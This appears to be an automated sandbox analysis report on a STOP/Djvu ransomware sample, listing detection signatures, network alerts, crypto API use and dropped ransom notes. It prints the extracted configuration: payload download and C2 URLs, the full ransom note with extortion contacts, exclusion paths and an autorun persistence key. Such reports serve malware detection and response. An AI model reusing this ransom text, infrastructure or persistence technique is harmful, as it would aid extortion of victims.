8.2.f6ffg1sZS2.exe.f60000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
3.2.f6ffg1sZS2.exe.f60000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
3.2.f6ffg1sZS2.exe.f60000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
3.2.f6ffg1sZS2.exe.f60000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
2.2.f6ffg1sZS2.exe.780000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
2.2.f6ffg1sZS2.exe.780000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
2.2.f6ffg1sZS2.exe.780000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.0.f6ffg1sZS2.exe.780000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.0.f6ffg1sZS2.exe.780000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.0.f6ffg1sZS2.exe.780000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
4.0.f6ffg1sZS2.exe.f60000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
4.0.f6ffg1sZS2.exe.f60000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
4.0.f6ffg1sZS2.exe.f60000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
Click to see the 25 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe" --AutoStart, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\f6ffg1sZS2.exe, ProcessId: 6884, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper

Suricata Signatures

ET MALWARE Potential Dridex.Maldoc Minimal Executable Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T18:31:08.261583+0100	2020826	1	A Network Trojan was detected	192.168.2.4	49733	92.246.89.93	80	TCP
2024-10-27T18:31:16.756170+0100	2020826	1	A Network Trojan was detected	192.168.2.4	49736	92.246.89.93	80	TCP
2024-10-27T18:31:25.431011+0100	2020826	1	A Network Trojan was detected	192.168.2.4	49739	92.246.89.93	80	TCP
2024-10-27T18:31:26.691425+0100	2020826	1	A Network Trojan was detected	192.168.2.4	49749	92.246.89.93	80	TCP
2024-10-27T18:31:34.764955+0100	2020826	1	A Network Trojan was detected	192.168.2.4	49751	92.246.89.93	80	TCP
2024-10-27T18:31:39.095837+0100	2020826	1	A Network Trojan was detected	192.168.2.4	49753	92.246.89.93	80	TCP

ET MALWARE Single char EXE direct download likely trojan (multiple families)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T18:31:26.691425+0100	2018581	1	A Network Trojan was detected	192.168.2.4	49749	92.246.89.93	80	TCP
2024-10-27T18:31:34.764955+0100	2018581	1	A Network Trojan was detected	192.168.2.4	49751	92.246.89.93	80	TCP
2024-10-27T18:31:39.095837+0100	2018581	1	A Network Trojan was detected	192.168.2.4	49753	92.246.89.93	80	TCP

ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T18:31:14.408230+0100	2036334	1	A Network Trojan was detected	192.168.2.4	49737	92.246.89.93	80	TCP

ET MALWARE Win32/Vodkagats Loader Requesting Payload

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T18:31:08.261583+0100	2036333	1	A Network Trojan was detected	192.168.2.4	49733	92.246.89.93	80	TCP
2024-10-27T18:31:16.756170+0100	2036333	1	A Network Trojan was detected	192.168.2.4	49736	92.246.89.93	80	TCP
2024-10-27T18:31:25.431011+0100	2036333	1	A Network Trojan was detected	192.168.2.4	49739	92.246.89.93	80	TCP
2024-10-27T18:31:26.691425+0100	2036333	1	A Network Trojan was detected	192.168.2.4	49749	92.246.89.93	80	TCP
2024-10-27T18:31:34.764955+0100	2036333	1	A Network Trojan was detected	192.168.2.4	49751	92.246.89.93	80	TCP
2024-10-27T18:31:39.095837+0100	2036333	1	A Network Trojan was detected	192.168.2.4	49753	92.246.89.93	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T18:31:04.628500+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49730	188.114.96.3	443	TCP
2024-10-27T18:31:06.869119+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49731	188.114.96.3	443	TCP
2024-10-27T18:31:07.348222+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49732	188.114.96.3	443	TCP
2024-10-27T18:31:08.261575+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49734	92.246.89.93	80	TCP
2024-10-27T18:31:08.261583+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49733	92.246.89.93	80	TCP
2024-10-27T18:31:14.408230+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49737	92.246.89.93	80	TCP
2024-10-27T18:31:15.892910+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49735	92.246.89.93	80	TCP
2024-10-27T18:31:16.756170+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49736	92.246.89.93	80	TCP
2024-10-27T18:31:17.809708+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49738	188.114.96.3	443	TCP
2024-10-27T18:31:20.552324+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49740	92.246.89.93	80	TCP
2024-10-27T18:31:25.431011+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49739	92.246.89.93	80	TCP
2024-10-27T18:31:26.067730+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49748	188.114.96.3	443	TCP
2024-10-27T18:31:26.690347+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49750	92.246.89.93	80	TCP
2024-10-27T18:31:26.691425+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49749	92.246.89.93	80	TCP
2024-10-27T18:31:29.388171+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49743	92.246.89.93	80	TCP
2024-10-27T18:31:34.764955+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49751	92.246.89.93	80	TCP
2024-10-27T18:31:35.971028+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49752	92.246.89.93	80	TCP
2024-10-27T18:31:39.095837+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49753	92.246.89.93	80	TCP
2024-10-27T18:31:45.223816+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49754	92.246.89.93	80	TCP

ETPRO MALWARE STOP Ransomware CnC Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T18:31:15.892910+0100	2833438	1	Malware Command and Control Activity Detected	192.168.2.4	49735	92.246.89.93	80	TCP
2024-10-27T18:31:29.388171+0100	2833438	1	Malware Command and Control Activity Detected	192.168.2.4	49743	92.246.89.93	80	TCP
2024-10-27T18:31:35.971028+0100	2833438	1	Malware Command and Control Activity Detected	192.168.2.4	49752	92.246.89.93	80	TCP
2024-10-27T18:31:45.223816+0100	2833438	1	Malware Command and Control Activity Detected	192.168.2.4	49754	92.246.89.93	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: f6ffg1sZS2.exe

Avira: detected

Found malware configuration

Source: 4.2.f6ffg1sZS2.exe.f60000.0.unpack

Malware Configuration Extractor: Djvu {"Download URLs": ["http://asvb.top/files/penelop/updatewin1.exe", "http://asvb.top/files/penelop/updatewin2.exe", "http://asvb.top/files/penelop/updatewin.exe", "http://asvb.top/files/penelop/3.exe", "http://asvb.top/files/penelop/4.exe", "http://asvb.top/files/penelop/5.exe"], "C2 url": "http://asvb.top/nddddhsspen6/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-B0FsLNO3fN\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpteam@mail.ch\r\n\r\nReserve e-mail address to contact us:\r\nhelpmanager@airmail.cc\r\n\r\nYour personal ID:\r\n0300ewgfDd", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\",

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe

ReversingLabs: Detection: 81%

Multi AV Scanner detection for submitted file

Source: f6ffg1sZS2.exe

ReversingLabs: Detection: 81%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: f6ffg1sZS2.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_00791178 CryptDestroyHash,CryptReleaseContext,	0_2_00791178
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_0078E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	0_2_0078E870
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_0078EA51 CryptDestroyHash,CryptReleaseContext,	0_2_0078EA51
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_0078EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	0_2_0078EAA0
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_0078EC68 CryptDestroyHash,CryptReleaseContext,	0_2_0078EC68
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_00790FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	0_2_00790FC0
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_0078E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	2_2_0078E870
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_0078EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	2_2_0078EAA0
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_00790FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	2_2_00790FC0
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_00791178 CryptDestroyHash,CryptReleaseContext,	2_2_00791178
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_0078EA51 CryptDestroyHash,CryptReleaseContext,	2_2_0078EA51
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_0078EC68 CryptDestroyHash,CryptReleaseContext,	2_2_0078EC68
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F6E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	3_2_00F6E870
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F6EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	3_2_00F6EAA0
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F70FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	3_2_00F70FC0
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F71178 CryptDestroyHash,CryptReleaseContext,	3_2_00F71178
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F6EA51 CryptDestroyHash,CryptReleaseContext,	3_2_00F6EA51
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F6EC68 CryptDestroyHash,CryptReleaseContext,	3_2_00F6EC68
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F71178 CryptDestroyHash,CryptReleaseContext,	4_2_00F71178
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F6E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	4_2_00F6E870
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F6EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	4_2_00F6EAA0
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F6EA51 CryptDestroyHash,CryptReleaseContext,	4_2_00F6EA51
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F6EC68 CryptDestroyHash,CryptReleaseContext,	4_2_00F6EC68
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F70FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	4_2_00F70FC0

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ERRTCUREz2a6QzP+bdT\\n+Hqf87je940uMNktk5HuRAzdVLRwZGXppa	2_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ERRTCUREz2a6QzP+bdT\\n+Hqf87je940uMNktk5HuRAzdVLRwZGXppa	2_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ERRTCUREz2a6QzP+bdT\\n+Hqf87je940uMNktk5HuRAzdVLRwZGXppa	2_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ERRTCUREz2a6QzP+bdT\\n+Hqf87je940uMNktk5HuRAzdVLRwZGXppa	2_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ERRTCUREz2a6QzP+bdT\\n+Hqf87je940uMNktk5HuRAzdVLRwZGXppa	2_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ERRTCUREz2a6QzP+bdT\\n+Hqf87je940uMNktk5HuRAzdVLRwZGXppa	2_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ERRTCUREz2a6QzP+bdT\\n+Hqf87je940uMNktk5HuRAzdVLRwZGXppa	2_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ERRTCUREz2a6QzP+bdT\\n+Hqf87je940uMNktk5HuRAzdVLRwZGXppa	2_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ERRTCUREz2a6QzP+bdT\\n+Hqf87je940uMNktk5HuRAzdVLRwZGXppa	2_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ERRTCUREz2a6QzP+bdT\\n+Hqf87je940uMNktk5HuRAzdVLRwZGXppa	2_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ERRTCUREz2a6QzP+bdT\\n+Hqf87je940uMNktk5HuRAzdVLRwZGXppa	2_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ERRTCUREz2a6QzP+bdT\\n+Hqf87je940uMNktk5HuRAzdVLRwZGXppa	2_2_00799E70
Source: f6ffg1sZS2.exe	Binary or memory string: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ERRTCUREz2a6QzP+bdT\\n+Hqf87je940uMNktk5HuRAzdVLRwZGXppa

Source: f6ffg1sZS2.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\$WinREAgent\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\$WinREAgent\Scratch\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\_readme.txt	Jump to behavior

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49748 version: TLS 1.2

Source: f6ffg1sZS2.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

